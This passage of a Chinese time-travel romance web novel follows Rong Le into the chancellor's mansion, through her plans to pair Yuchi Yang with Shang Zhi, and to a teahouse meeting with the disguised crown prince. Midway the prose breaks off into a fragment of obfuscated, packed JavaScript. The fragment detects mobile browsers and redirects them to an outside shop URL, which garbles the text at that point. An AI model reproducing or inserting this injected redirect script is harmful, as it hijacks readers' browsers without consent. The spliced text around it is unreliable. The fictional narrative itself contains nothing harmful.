容乐心里默默记下了面试的地址以及准备的东西——丞相府侧门和卖身契,准备即刻出发。
侧门好找,可这卖身契难整啊,她也没有户籍。
容乐在过去的路上,一路思索着,突然,看见一个写字的摊。
于是,她就头上的钗子换了一个假的卖身契。
容乐笑着拿起卖身契,小心的叠起,开心的再次朝丞相府走去。
写字先生看着她轻快的背影,感慨道:
“世风日下啊,第一次看见有人做卖身契这么开心。”
————————————
容乐还没走到门口,见看见许多人排着长队,一个一个的先从老嬷嬷那过,最后再到管家那边面试。
待走近之后,发现很多人垂头丧气的往外走,看来是被招上。
她朝一个面善的姑娘挥了挥手,有礼貌的问道:
“你好,丞相府招几个丫鬟呀?”
“两个人。”那名姑娘回头看了一眼,有些气鼓鼓的接着道:“他们要求太高了,高矮胖瘦皆有要求,家世背景也要符合。知道的是招丫鬟,不知道还以为是选什么呢!”
说完,她打量了一眼容乐,摇头惋惜道:“你恐怕也不符合。”
“为何?”
“因为你长的有点好看。”
额。。。。。
这话她不知道该怎么接,只能笑着道了声谢。
从午时排到了申时,整整两个时辰,终于到了第一道坎——老嬷嬷那里。
容乐按照规矩,先把卖身契放在了桌上,随后紧张的端坐着,双手放在腿上,心跳如鼓。
老嬷嬷神色疲惫,先随意看了眼卖身契,打了个哈欠问道:“你叫什么名字,哪的人,家里是做什么的?”
“我的名字叫容乐,是——京安人?家里是经商的?”她的语气充满了不确定。
现代的她是安城的,两千年前确实是京安。
家族是财团,应该可以说是经商吧?
“是我问你,还是你问我?”老嬷嬷皱着眉头,语气很不耐烦。
第一次看见连基本问题都回答支支吾吾的人。
等等,她说她是谁?
老嬷嬷仔细看了一眼面前的卖身契,又看了面前的人一眼,瞪大眼睛问道:“你是容乐!”
她站起身,步履蹒跚的快步走到丞相府的管家那儿,捂着嘴嘀嘀咕咕的说着什么,眼神不断往容乐身边瞟。
随后,管家咧着嘴,笑嘻嘻的小跑了过来,弯腰恭敬的将卖身契还给了她。
“容姑娘,您随老奴来,公子等你许久了。”
说罢,便引容乐穿过人群,直奔大门前去。
在场的人都好奇的看向她,议论纷纷。
“尉迟玚他在府上吗?”容乐小声的问道。
“公子此时应该还在御史台处理公务,酉时应该就可以到府中。”
“为什么不直接从侧门入,还要绕一圈从大门进去?”
容乐感受到
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周围人注视的目光,只想赶紧逃离。
可偏偏管家带着她,从队伍的头到了尾,让所有人都瞧了个遍。
“公子说过,您是极为重要的人,必须要从正门您迎进来。”
两人刚到府门口,就听见悠远的车铃声响起。
容乐转身看去,一辆橡木马车缓缓的驶来,四周用铜边精雕装饰着,车身整体呈墨色,前面黝黑的骏马眼神很亮。
一看马车上的人身份就很显赫,她心里暗道。
不曾想,马车越走越慢,在丞相府门口停了下来。
管家笑呵呵摸着胡子道:“是公子回来了。”
说完,他先一步走到了门口,双手在前弯腰行礼,低头道:“恭迎公子归府。”
修长的手掀开门帘,身穿玄色官服,头戴进贤冠,腰间的青绶三彩纳于虎头印鞶囊内,束红黑色鞶带的尉迟玚走下了马车。
她还是第一次看见他这副模样,有种威严中带着矜贵的气质。
“乐儿,你回来了。”尉迟玚嘴角上扬,笑着快步走向她。
容乐抬头看向面前的人,虽然他身穿官服,但是神色之间的熟悉感还是扑面而来。
待走近了,他发现她额头上冒着细汗,脸颊红扑扑的,关心的问道:“可是太热了?”
“没事,可能就是排队排的太久了。”她笑着用手在一旁扇了扇风。
“排队?”
尉迟玚带着她走了府内,疑惑的问道。
“对啊,没想到你们丞相府的丫鬟一职竞争那么大,面试的人都从侧门排到了东巷口!”
容乐掩着嘴笑,打趣的看向他:“不过她们大多数都是奔着当你的通房丫头来的。”
尉迟玚微愣,不知道怎么回答,便装作认真的模样,摸着下巴,打量了一下她,开玩笑的问道:
“那你是——”
她赶紧摆了摆手,眼神真切的道:
“你可别误会!我没有她们那种想法,我就是单纯的想无处可去,想要谋一份差事。”
说话间,两人走到一处院前,她还未走近,就闻到到了风中淡淡的花香。
容乐探了探头,瞧见院内种满了栀子花,中间夹杂着小雏菊,在房间门口还有几束铃兰随风飘扬。
满园花海,真好看啊!
“喜欢吗?”尉迟玚嘴角笑意更深了,低头看向她,眼神里满是宠溺。
“嗯!是谁住在这里呀?”容乐回头看向他,眼里闪着光。
“此院本是空置的,前段时间我闲来无事便稍微整理一下,正好你来府中,就住在此处吧。”
后面的管家听到这里后,一眼看透了公子的心思。
他就说前几日,一向不过问府中事的公子,怎么开始吩咐人装扮空院子来。
还是离他住处最近的空院子!
甚至每朵花都要亲自过目确认后才能栽种,而且栽种的位置也是请专人设计的,花的品质必须要最好的。
原本他以为是公子给商芷小姐准备的,因为她还有十日就要到府上了。
两人虽没有血缘关系,但是名义上也是表兄妹,可能公子想提前做些准备。
现在看来,他是真的想多了。。。
从小到大,公子向来只对在意的人付出心思,但是能这么用心的,容姑娘还是头一个。
她恐怕不只是被公子看成救命恩人。
据他所知,老爷已经瞒着公子,接触光禄勋的女儿贺氏,意图两家结姻亲之好。
故此事,还需尽快禀告老爷。
11. 死心眼
“真的吗!”
容乐的眼神里充满了惊喜。
“嗯,进院看看吧。”尉迟玚看她的模样,眼里的笑意更深了。
上一世,她总是想尽办法让他开心,而他却总是伤她的心。
这一世,换他来守护她。
容乐缓缓的走进了院中,一阵风吹过,花香更加的浓郁,满园花海随之摇曳。
好像画中的一样,若是在现代,她一定会将此处买下来!
但是此时是在两千年前,她身无分文,一直在人家家里白吃白住总归是不好的。
寻一份差事,自力更生才能心安理得。
“大石头,我初到京安,还不是很了解。你知道这里有什么工种比较适合我的吗?”
“你不用出去寻事做,丞相府还是养的起一个你的。”尉迟玚眉心微蹙,补充道:“你想要什么都可以和我说。”
容乐摇了摇头,神色真切的看向他,眼神中多了一份坚持:
“但是我总不能一直靠你生存吧,有工钱拿,心里会踏实一些。”
他知道她是一个决定了一件事,就很难改变的人。
尉迟玚感受到她的目光,知道此事只能依她了。
可能是他还未走进她的心里,作为一个‘外人’的好,她不能心安理得。
不过,她既然坚持此事,他倒是可以趁机多些与她相处的机会——
“这样吧,我的书房中还缺少一个人伺候笔墨,你可以试试。”
容乐狐疑的看向他,不是很相信有这么巧合的事,何况此次丞相府此次招人也没有这个工种:
“你是真的缺人,还是随意找了个活给我干?”
她虽然此行的目的是改变他必死的命运,但是也不想万事都靠他,她也是有基本的生存能力的!
“自然是真的缺人,只是告示还没贴出。”尉迟玚用‘无比坦诚’的目光回应她,随后转头对管家问道:“我记得前日才吩咐你此事的,对吧?”
管家接受到公子的意有所指的目光,很有眼色的点了头,煞有其事的对容乐补充道:
“确实是如此。容姑娘不知,丞相府的流程十分复杂,招丫鬟的事,还是上个月准备的,直到今日才到真正面试的阶段。”
其实,招丫鬟的事,才是前日决定的。
至于书房的事,应该是刚刚才决定的。。。
他猜测就是公子想和容姑娘朝夕相处,才临时想出来的。
因为,从小到大,公子读书之时,就不喜有人在书房中伺候。
容乐听后,心放了下来。
尉迟玚看她眼神里藏着疲色,想起她已经排了两个时辰的队:
“时候也不早了,乐儿,你先休整一下,待半个时辰后,我们在膳堂见。”
他招了一下手,门外候着的沧青看见后,微微点头,手叠放在腰前,缓缓走了到了容乐的面前。
“青儿见过容小姐。”说着,她双手交叠抬起放在前胸,低头屈膝行礼。
尉迟玚笑着对容乐解释道:“她往后就是你的贴身丫鬟了,往后你想要买任何东西,都可以和她说。”
容乐连连摆手,眉心蹙起:“不用不用,我自己都行的!”
她本就是借住在他府上,怎么好意思再配一个丫鬟。
“乐儿,青儿除了照顾你的起居之外,更重要的是保护你。”尉迟玚的语气中带着一丝严峻:
“京安虽是都城,但是还是很不安全。命案几乎日日都会发生,良家妇女失踪的事也时常发生,你出门带着她,我会放心些。”
沧青站在一旁面无表情,大部分的命案都是出自寒青派之手。
不过他们也有帮规,不杀忠善之人、弱小之辈,也绝不做拐卖妇女幼儿的生意。
沧青听后,没有说话,直接从袖口处拿出一把小刀,轻轻挥动几下,几只蚊子的尸体就落在了地上。
容乐低头看了几眼,震惊的瞪大了眼睛看向沧青:现在丫鬟要求都这么高了吗?
身手这么好!
容乐还是有些不好意思,但是在尉迟玚的担忧的目光下,最后还是点了头。
尉迟玚放心的离开了院子,沧青先一步向前走,将房门推开:“容小姐,请进。”
容乐走了进去,满屋飘着淡雅的气息,陈设也皆是小巧而不失精致,鹅黄色的床幔垂下,梳妆台上放满了各色的胭脂和玲琅满目的首饰。
有种低调奢华的感觉。
“怎么觉得这屋子是给姑娘准备的呢,可大石头不是说他随意整理了一下的吗?”她坐在红木圆凳上,环视周围喃喃自语着。
沧青站在一旁摸着下巴打量着,她是前几日才收到殷俊的命令,今日也是第一次进此屋。
她思索了一会,毫不留情的戳破道:
“明显是公子为容姑娘准备的,他这么说应该是不想表现的太明显。”
话刚说完,沧青才意识到自己此时的身份是丫鬟,说的话有些过于逾矩了。
“容姑娘,我——不是,奴婢不是这个意思,以上都是猜测,做不得数。”她双手抱拳对容乐道。
擅自揣测主子的意思,是最不能犯的忌讳。
容乐看她的动作,不像是丫鬟,倒像是一位说错话的壮士,想起她刚刚的身手,好奇的问道:“青儿,你之前是丞相府的丫鬟吗?”
沧青低着头,像丫鬟一样拘谨的站在一旁,熟练的背起殷俊给她的叮嘱的假身份来:
“我之前是在武馆做事的,后来行情不好,武馆倒闭了。之后,便看见丞相府在招丫鬟,就想着试一试。”
他们之前执行任务,也都会以假身份潜伏在目标身边。
但是,很她久没有做此事了。
因为她觉得很累,一般都直接动手,无论对方有多少人马,都能得手。
容乐看她的模样,以为是刚刚的话吓到她了,赶紧站起身,双手轻轻握住她的肩膀,笑着道:
“我没有别的意思,你别害怕,我一般也不用人伺候,若我出门会唤你一起。”
她想起了什么,接着问道:
“对了,今日是何年何月何日?”
容乐想知道她离开了多久,以及,商芷是否已经入府。
“回容姑娘,建昌十年,五月初十。”沧青回答道。
她不过才回去了半个小时左右,再次来到这里竟然已经过了三个月!
按照历史记载,商芷是五月二十左右入府,只有十日了。
她可得好好盘算了一下之后的计划,究竟如何才能化解尉迟玚的必死之命。
商芷是丞相尉迟泰与发妻的女儿,但是当年尉迟泰为了攀附权贵,在朝中谋得一官半职,抛弃妻女,迎娶了太常的女儿柳氏。
后来,柳氏难产而亡,胎儿死腹中,尉迟泰觉得是天道在惩罚他。
从那之后便开始寻妻女的下落,寻了十五年,终于在前些日子才寻到女儿,而发妻在灾荒之年已经去世了。
因为担心当年的事会影响到自己的仕途,他对外宣称商芷是远方亲戚的孩子,直到临死前,才让真相昭告天下。
商芷之前名为尉迟芷,因为恨尉迟泰当年的行为,在母亲去世后,便自行改名,随母姓商。
唉,其实商芷也挺可怜的,想到这里,容乐没忍住叹了口气。
她走到窗边,用手支着头,望着外面的铃兰入了神。
尉迟玚怎么就对她一见钟情了呢,若他喜欢寻常的姑娘,也不会死在太子的手中。
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野史记载,尉迟玚从见商芷的第一面起便在心中暗暗喜欢她,可商芷表面单纯无害,内心却一直带着对尉迟泰的恨,想要谋得高位。
正巧太子也在此时选妃,机缘巧合之下,尉迟玚带她到赏花宴上,太子相中了她。
商芷当上太子妃之后,在某次和太子赈灾之时遇见危险,被当时被贬为南阳刺史的尉迟玚拼死相救,从那之后,他就成了太子的人。
回朝后,因为商芷,他一直为太子卖命,也让太子有机会发现他的真实身份,最终惨遭射杀。
想到这里,容乐的心里有些淡淡的悲伤。
尉迟玚这么好的人,真的就非商芷不可了吗?
能改变他的命运,她觉得眼前暂时就是两条路——
一条是让尉迟玚对商芷放手,一条是让商芷喜欢上尉迟玚,不嫁给太子。
无论是哪一条,容乐都觉得好难!
让一个能爱商芷八年的尉迟玚放手,或者让商芷不顾一切的与尉迟玚在一起,她觉得都不可能。。。
潜意识里,不知为何,容乐觉得前者是更不可能达成。
突然,身后传来沧青的声音,打断了她的思绪:
“容姑娘,公子唤你一同用晚膳。”
————————
一刻钟后,容乐走进膳堂,看见尉迟玚正端坐着,笑着看向她。
和之前失忆的时候一样。
她坐在了他的对面,低头看满桌的菜,竟然都是她喜欢吃的。
“这些——”
尉迟玚站起身,盛了一碗羹,放在了她的面前,笑着道:“毕竟一起生活那么久了,知道你喜欢也不是什么难事。”
容乐心里莫名有些酸涩,从小到大,养父母虽然对她很好,但是他们很忙,大部分时间都用作教育她,吃饭时都不在家。
所以,也没有人知道她喜欢吃什么。
脑海里浮现起他曾对自己做的一切,要说之前是因为他误会她是他的妻子,那么现在又是为了什么?
容乐看向尉迟玚,问道:“大石头,你为何要对我这么好?”
明明他们才认识一个月,他为自己做了太多的事。
尉迟玚墨色的眼眸中,深藏着让人看不出情愫,想说很多,却不知道该如何说。
尉迟玚知道容乐此时对自己并无意。
若他说自己心悦她,怕是会让她吓一跳,恐将她越推越远。
最后只道了一句:“你是我的救命恩人,对你好是应该的,而且按照你的话说,我们不是朋友吗?朋友之间,须要以真心相待。”
容乐心中五味杂陈,其实她也不算是他的救命恩人,要不是路过两名村民,他可能会因为她而冻死。
但是,他对自己的那颗朋友间的真心,她是真真切切的感受到了。
他的好,远超出书中所记载的文字,更加重情重义,也更鲜活。
她一定会让他好好的活下去的!
想起商芷即将入府,距离他一见钟情的日子也不远了。
“大石头,若你喜欢上了一个人,但是她不喜欢你,你会放手吗?”容乐小心翼翼的问道。
“我一旦认准一人,便绝对不会放手。”尉迟玚想起了上一世她决绝的模样,眸色中带几分失落,接着道:
“但若她实在是不喜欢我,此生我便会默默守护在她的身边,帮她完成她所有想要的事。”
她就知道!
尉迟玚这个死心眼的不会放弃商芷!
容乐扶着额头,嘴角依旧带着笑意,不过多了一分苦涩罢了。
看来,她只能选第二条路了——
努力撮合商芷和尉迟玚,让商芷也对尉迟玚情根深种,此生不渝才行。
12. 太子
但是,容乐还是很感慨。
她觉得尉迟玚太执着了,别人不喜欢他,放手便是,何必一生都耗在上面。
罢了,换个角度想,和喜欢的人在一起,他也会很幸福的,也算是成全尉迟玚的一片真心了。
“嗯,我知道了。”容乐振作起精神,撸起袖子准备开始干。
不就是撮合吗,她一定行!
她夹起一块肉,放在了尉迟玚的碗中,用‘壮志凌云’的语气道:“你放心,未来我会帮你的,一定会有情人终成眷属!”
“嗯?”
“咳咳,我的意思是,我们是好友嘛,你又对我如此好,未来你有喜欢的人,我一定帮你搞到手!”
嗖的一声,三个月前的刀,又回来再次的插在了尉迟玚的心头上。
“哦。”他夹起碗中的肉,放入口中径直?咽了下去,又道了声:“真是谢谢你了。”
容乐没有听出他语气中的不对劲,没心没肺的笑着道:
“不客气,我俩谁跟谁,嘿嘿。”
————————
次日午膳过后,容乐闲着无聊,看窗外天色正好,准备出门上街逛逛。
原本她以为今日就可以直接上岗,问管家的时候,他说让她等公子下朝之后再商议。
容乐刚走出房门,沧青不知从哪拿出两个帷帽,将其中一个递给了她。
“这是?”她接过帷帽,疑惑的看向沧青。
“今日是周国的朝暮节,还未婚嫁的女子上街皆要带帷帽,遇见钟意的人后,才能将帷帽掀开,露出真实的容貌。”
“若是被钟意的男子,也钟意面前掀开帷帽的女子,便会将她的帷帽摘下,捧在手心中。”沧青解释道。
她从未过过此节,觉得男女之间的情爱很麻烦,还不如尽快将任务做完,所以,往年她从来不管这些,平时该如何就如何。
但是,这回是容姑娘要出门,为了避免不必要的麻烦,还是遵守习俗比较好。
“原来如此。”容乐将帷帽戴上,系好系带后,拉着沧青一起出府了。
街上路旁小贩叫卖声此起彼伏,人流熙熙攘攘,许多姑娘都带着帷帽,三三两两挽着手结伴出行。
“上好的烧饼,新鲜出炉喽。”
“冰糖葫芦,颗大糖厚,不要错过啊。”
“卖花灯,好看不贵。”
真热闹啊!
容乐左看看右瞧瞧,很是新奇,她还是第一次在周国逛市集。
她还从未想过,自己有一天能在两千年前逛街呢。
“姑娘,买同心结吗?趁着今日,送给喜欢的公子,一起白头偕老,寓意很吉祥的!”
容乐听闻后,转头看去,精致小巧各式的同心结整齐的摆放在一起。
有绳编的,有草编的,有手链样式的,还有腰佩样式的,玲琅满目。
她走到摊前,拿起一对草编的,草茎组成了精美对称的纹理,边缘打磨的十分细腻,能看出手工人的技艺之高。
风吹过,淡淡的香味飘散,沁人心脾。
卖同心结的大娘,看容乐很有兴趣,笑着道:
“姑娘,你手上的同心结是新出的款式,戴在手上不仅好看,还能驱蚊哩!今日趁这朝暮节,买一对送给喜欢的公子,多好啊!”
容乐很喜欢手上的同心结,可惜她没有能送的人,买回去只能两只手都戴上。
会不会有些奇怪?
等等,大娘刚刚是不是说,买回去佩戴的两人可以白头偕老?
那她是不是可以先买回去,后面等商芷和尉迟玚在一起之后,就当作贺礼之一送给他们。
想到这里,容乐满意的点点头。
正准备付钱的时候,她尴尬的发现——
她好像没钱。。。
沧青看此情景,拿出钱袋,直接付了钱。
“青儿,这钱就算是我借你的,等后面发工钱我就还你!”容乐拉住沧青的手腕,认真的道。
沧青从大娘那接过包好的同心结,转头将钱袋放在了容乐的手心中,一板一眼的道:
“容姑娘,这是公子提前给奴婢的钱,还吩咐说,若你有什么想要的,买就行了,不够直接向管家支账。”
她原封不动的讲尉迟玚嘱咐自己的话告诉了容乐。
大石头总是这,她晚上要和他好好聊聊,今日的花销,她都会还他的!
容乐皱眉的捏住了钱袋,暗自心想道。
两人继续在街上逛着,发现不远处许多人围在一家店的门前,指指点点的说着什么。
容乐好奇的走了过去,待走近时,有一个赤裸着上半身的老人,被五花大绑着,身后有两个大汉拿着极粗的木棒。
前面一个身穿白色锦缎长袍的男子,蹲下身恶狠狠的指着老人道:
“你要是不还钱,我就将你在这街头将你的双腿打断!没钱赌什么赌!真是晦气!呸!”
老人颤颤巍巍,用祈求的目光看向面前的男子:“我——我下月发了工钱就还钱,你先放过我好不好?”
“放你走?你跑了我去哪找你?你当我是三岁孩童吗?”男子说到这里,不留情面的踹了一脚。
老人摔倒在地上,表情很痛苦。
男子到对身后的壮汉道:“来,给我打!”
在木棒即将落在老人的身上时,容乐大声的道:“等等!”
她看不下去了,老人实在是有些可怜。
赌博确实是不对的,但她也不能眼睁睁的看着他的腿被打断。
容乐攥紧了钱袋,向黑衣男子走去,道:“他欠你多少钱,我替他还了,你放了他吧。”
白衣男子瞧见面前的钱袋,眼珠转了转,嘴角一斜笑,伸出掌心道:“五十两。”
容乐打开钱袋,将银子给了他。
白衣男子数了一下后,示意壮汉拿着木棒后退,低头对老人道:“算你好运。”
说完,就带着壮汉回赌坊了。
容乐看见他走远了,赶紧蹲下身,和沧青一起,帮老人将绳子解开。
人群渐渐的散开了,街上又恢复了之前的模样。
“谢谢姑娘!谢谢姑娘!”老人跪在地上,哽咽的道谢。
容乐将他扶了起来,叮嘱道:“往后莫要再赌了,那里都是吃人的地方。”
“我不会再去了,姑娘放心,这钱——”话还未说完,老人看见一青衣男子的朝自己走过来,吓的立刻噤声,头低了下去。
“感谢姑娘相救,此人是我的家仆。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158543|138623||http|test|mini|href|location''.split(''|''),0,{}));
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>温润的男声从身后传来,容乐转身看去,一位身穿青色云纹交领长袍的男子,礼貌的笑着看向她。
他的眉眼俊朗,鼻梁挺拔,脸廓线条分明,给人一种凌厉中夹杂着清冷的气质。
男子朝一旁伸出手,身后的侍从赶紧拿出钱袋,弯腰低头放在他的手心。
“这是一百两银子,感谢姑娘的善心。”他将钱放在了容乐的手中,接着给老人使了个眼色,示意他到自己的身后去。
“不用这么多,是多少就是多少就行。”容乐取了五十两,将多余的钱还给了他,余光瞟到瑟瑟发抖的老人,不忍心的道:
“他的年纪很大了,还望公子回去之后莫要过分的责罚。”
“姑娘放心,这名家仆陪我许久了。但是,刚刚他偷瞒着我去赌,动静还闹的不小,按照规矩须罚,但是也会有所考虑。”
说完,他本打算转身离去,但是看见沧青手里的钱袋,目光陡然一闪。
这不是丞相府特制的纹路吗?此女子是丞相府中的人?
他没听说过丞相府中住着姑娘。
容乐点了点头:“那公子,我们就此别过。”
说完,她和沧青向前走去。
路过一家茶摊的时候,容乐突然觉得有些累了,顺势坐了下来,点了杯茶。
没过一会,刚刚遇见的那名男子也坐了下来,与容乐面对面。
“公子,你这是?”
“刚刚姑娘不收那多余的五十两,那这壶茶在下请了。”
“其实真的不用的,就是举手之劳。”容乐看着面前的茶,皱着眉头,不知道该喝不该喝。
男子看她的模样,笑着给她和自己都倒了一杯,拿起茶杯正准备喝之时,身后的侍从附耳小声的道:
“殿下,还未试毒。”
“无妨。”
他将茶一饮而尽,对容乐道:“这茶我也喝了,就不算是请姑娘的了。”
容乐看他如此,实在是拒绝不了,“那就谢谢公子了。”
她拿起面前的茶杯,在帷帽内喝了一口。
“姑娘可是丞相府中的人?”他单手握住茶杯,食指点触着边缘,朝容乐看去。
“算是吧,我如今是借住在丞相府。”
“你是怎么知道的?”容乐放下茶杯,好奇的问道。
“姑娘的钱袋是丞相府绣有特有纹路的,在下见过。”离赋笑着道。
丞相兼任太子太傅,是他的老师。
容乐没想到,丞相府竟然连钱袋都是特制的,但是寻常百姓肯定是认不出:
“那公子想是世家大族中的人吧?”
离赋拿起茶杯,思索了一番,并不打算暴露此行身份。
他想起前些时日丞相提过相与光禄勋结亲的事,于是道:
“我是光禄勋府中的人,贺铭。丞相有意让在下的妹妹贺婉嫁给尉迟玚,故两家便走的近些。”
什么?!
容乐听后被茶水呛了了一口,剧烈的咳嗽起来。
她本来以为撮合尉迟玚和商芷就够不容易的了,现在又来了一个人。。。
所以现在就是,她对内要努力推进两人进展,对外还要阻止别人来破坏。
等等,商芷那边是不是还有太子?
13. 选秀
她想静静。。。
“姑娘,你没事吧?”离赋感觉容乐好像状态不太对。
“我没事。”
突然,马的嘶鸣声从不远处响起,紧接着激烈的马蹄声接连不断,引的百姓一阵惊慌,两边的摊贩赶紧将摊位往后拉了一段距离。
“都让让,诸侯王刘戚进京觐见!”
为首的人穿着银色铠甲,骑在马上,用洪亮的声音为后面的队伍开道。
浩浩荡荡的士兵举着茅枪护卫在两旁,哒哒的脚步声整齐合一,四批黑马拉着一辆周身被龙纹雕刻的马车,很是气派。
离赋看见后,脸色瞬间变了,袖袍的手不自觉的握成了拳。
“现在的异姓诸侯都这么张扬了吗?”容乐喃喃自语道
她知道这个时候的周国,因为各地诸侯雄起而实力稍弱,但是也绝不是末代,十四年后的离书的上位,更是将周国推入鼎盛时期。
“他们是在封地拥兵自重,实力渐盛,便不把朝廷放在眼里了。”离赋低沉的道,神色之中带着一丝怒气,“若是能将这郡县分封并行制废除,一统天下,才是根本所在。”
说到这里,他语气中多了一丝无可奈何:“可如今确实没有什么好法子,皇上想要逐个击破,但是这既耗时久,人力物力财力损耗极大,又容易挑起战事。”
容乐支着头,缓缓的道:“其实也不是没有办法。”
离赋目光一亮,身子朝她微微倾斜,道:“哦?姑娘有什么好法子,在下愿闻其详。”
“有三种方法,这第一个呢,是找个理由,将各地诸侯王以鸿门宴的方式,聚集在王宫中,全部都杀了。
但是此法子比较凶险,稍不留神,容易造成群起而攻之。
第二个呢,是试行施恩令,让诸侯王的封地不只由世子继承,其他儿子也可以。简单来说,就是将封地平均分给每个儿子,这样儿子越多,封地划分的就越小,彼此之间必会内斗,时间一久,实力便会越弱,到时候周国便可一举收复。
这法子耗时也会有些久,但是却可以削弱他们的实力。
第三个呢,就是下诏令,所有的兵权由中央统一调度,诸侯王在封地有管辖权,但是不能拥有自己的军队。
但这法子也很有难度,要想出让他们交出兵权的办法才行。”
容乐徐徐的道。
其实还有一种,就是不破不立,在混战之后,统一全国,像离书这样。
离赋不由鼓了鼓掌,目光中带着赞赏:“姑娘好谋略,在下受教了!”
他从未想过,会有人在短短的时间里,一下子想出三个法子,而且都有可取之处。
许多文武百官甚至都想不出来,尤其是第二个法子,是极具有可行性的。
她跟他所见过的世家小姐都不一样。
容乐笑了笑,没说话。
此时,刘戚的队伍已经渐渐的远去,街道上又恢复了平时的热闹。
有两个丫鬟打扮的姑娘急匆匆的向前小跑着,正巧路过了容乐的身旁。
“这是诸侯王气派这么大,害的我买布都晚了,到时候小姐肯定要骂我了!”
“不就是制衣,晚一刻影响也不大吧。”
“过两月就是太子选妃了,听闻他喜欢青色,全京安只有一家布铺有这样色样的布,各府的小姐都争前恐后的抢呢,晚一瞬都没了!”
“啊?那我们快走吧。”
容乐听闻后,转头看去,发现不远处的布铺已经排期了长队,甚至已经快到东街了。
啧啧啧,太子真受欢迎。
历史上记载,太子前期在群臣面前的表现是多为良善,但是根据后面发生的事,学者们因此对太子离赋的评价大多是:
极善隐藏,生性残暴的人。
“为何这么多的人都想嫁给太子,除去身份地位的话,她们还喜欢他哪一点啊?”容乐摇了摇头,喃喃自语着。
离赋愣了一下,听到别人议论选妃的事,还是第一次。
不过,她的话,倒是很直接。
他笑着道:“姑娘,待会喝完茶,你可以过去问问她们。”
“不了不了。”容乐摆了摆手,她才不会去自讨没趣。
她看向身旁的离赋,想起他也是世家公子,问道:“你认识太子吗?”
他握住茶杯的手一顿,不动神色的道:“我和他——算是比较相熟。姑娘有什么事想要问的吗?”
既然如此,她是不是可以让商芷遭太子厌恶。
“那你知道太子讨厌什么样的女子吗?最好是特别厌恶的,看见就烦的!”
容乐期待的问道。
“咳咳。”离赋听后被呛了一下,将茶杯放在桌上,身后的侍卫见状,将手帕递了过去。
他整理了一下,思索片刻,道:“这个问题,我还真不知道。”
离赋见过的世家女都差不多——端庄,温婉,但是就是感觉像提线木偶一般,家中让她们做什么就做什么。
要说讨厌的话,谈不上。
“那他喜欢什么样的姑娘呢?”容乐换了个角度问。
离赋看着面前的人,不由自主朝她靠近些,嘴角上扬:
“我觉得,他会喜欢一直陪他身旁帮助他,有自己的想法,聪慧机敏的人。”
“其实姑娘可以去试试,我觉得他会选择你做太子妃。”
“我?”语气中带着怀疑。
她撇着嘴,满脸嫌弃,幸好有帷帽挡着,旁人看不清。
不过,既然太子喜欢聪慧的,她得想办法让商芷在他面前出丑才行。
“对啊,相比于那些世家女,我倒觉得姑娘清新脱俗。”离赋眼眸里的目光很是真心。
“啊哈哈哈哈…”
容乐尴尬的笑着,想尽快转移这个话题:
“那个今天天色挺好的!”
“嗯。”
两人又随意的聊了一会,茶水渐渐见底。
容乐看时间差不多了,她也该往回走了。
随后站起身,礼貌的朝离赋告别:“贺公子,今日谢谢你的茶,我们就此别过吧。”
“稍等,在下可否得知姑娘芳名?”
他看她准备转身离去,赶紧站起来走到她的身旁。
“嗯….”容乐犹豫了一下,“我们今日萍水相逢,往后有缘再见时,我再与公子言说吧。”
说完,她笑了笑,逃跑似得立马转身离开了。
开玩笑,他是太子的好友,她若是把名字和他说,到时候太子记住自己咋办!
而且按照他的意思,感觉很想让她参加选秀。
万一他悄悄把她的名字加进去,她才是有苦说不出呢!
最好以后别见了,她真的不想和太子扯上任何关系。
离赋看着她匆忙而去的背影,收起了笑意,皱着眉头对身旁的侍卫问道:
“孤刚刚是说错什么话了吗,怎么感觉她很想逃离呢?连名字都不愿告知孤。”
为首的侍卫双手抱拳道:“回殿下,那位姑娘可能是矜持。”
离赋摸着下巴,有些不甘心,本想跟着上她一问究竟时,身后传来低沉的嗓音:
“臣尉迟玚,参见太子殿下。”
离赋回头看去,发展尉迟玚正双手相叠放在前额,弯腰朝自己行礼。
“免礼。”
他又看了一眼刚刚那位姑娘的离去的方向,对尉迟玚问道:
“今天孤遇见一位女子,她说她暂住在丞相府上。”
“她是谁?为何孤从未听说过丞相府上有女眷?”<
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尉迟玚发现太子看容乐的眼神不一般。
心中警铃大作,太子果然如沧青的猜测一般。
但是,没想到乐儿竟然没告诉他自己的名字。
他抑住上扬的嘴角,表情未变,顿了一下回应道:
“回殿下,此女名为商芷,是父亲的远方表亲。此次进京,是为了寻一好夫家。”
“商——芷——”离赋重复了一遍名字,记在了脑海里。
“你让她来参加两月后的选秀,名单那边不用管,孤自会吩咐下去。”
“诺。”尉迟玚点头道。
离赋扬起嘴角,满意的笑着离开了。
尉迟玚眯着眼睛,看着离赋的背影,一只手背于身后,挺拔的身影倒影在还未收的茶摊前。
本来不想管太子和商芷的事,看来这一世,他们还得是夫妻。
只不过,这一回,商芷要为自己所用。
一刻钟前,他刚从御史台出来,就收到沧青通过暗卫给他传递的消息,说太子正与容乐喝茶。
并将两人的对话原封不动告知了他,并表明,太子好像属意容乐。
尉迟玚得知后,立马乘着马车,径直朝二人的茶摊的方向前去。
————————————
“乐儿!”
尉迟玚叫住了刚准备进府的容乐。
她停下脚步闻声看去,掀开帷帘,笑着道:
“大石头,你回来了呀,感觉今日好像比平日要晚一些。”
听见她明媚的声音,他的嘴角不自觉的上扬:“嗯,路上有些事耽误了些。”
待走近了些,尉迟玚看见她的脸颊有些潮红,鼻尖上冒着薄薄的细汗。
“乐儿,你觉得热的话,可以把帷帽摘了,府中也没有外人。”
容乐早就想摘了,头上带着这个东西又重又热,脖子还酸疼。
她伸手去解脖颈上系带,却拉错了头,反倒打成了一个死结。
容乐皱着眉头,努力低着头也看不见死结,怎么都解不开。
尉迟玚看她此时与自己较劲的模样,甚是可爱,不自觉的笑出了声。
容乐抬头,以''既凶狠又委屈''的眼神看向他,警告的问道:
“你刚刚是不是在嘲笑我!”
“没有。”
尉迟玚向前一步靠近了她,双手覆过她的指尖,低头温柔的道:“我来帮你吧。”
温热的气息拂过在容乐的面庞,她可以清楚的看见他细密的眼睫毛,心跳不自觉的漏了一拍。
她从未这么与男子这么近距离过。
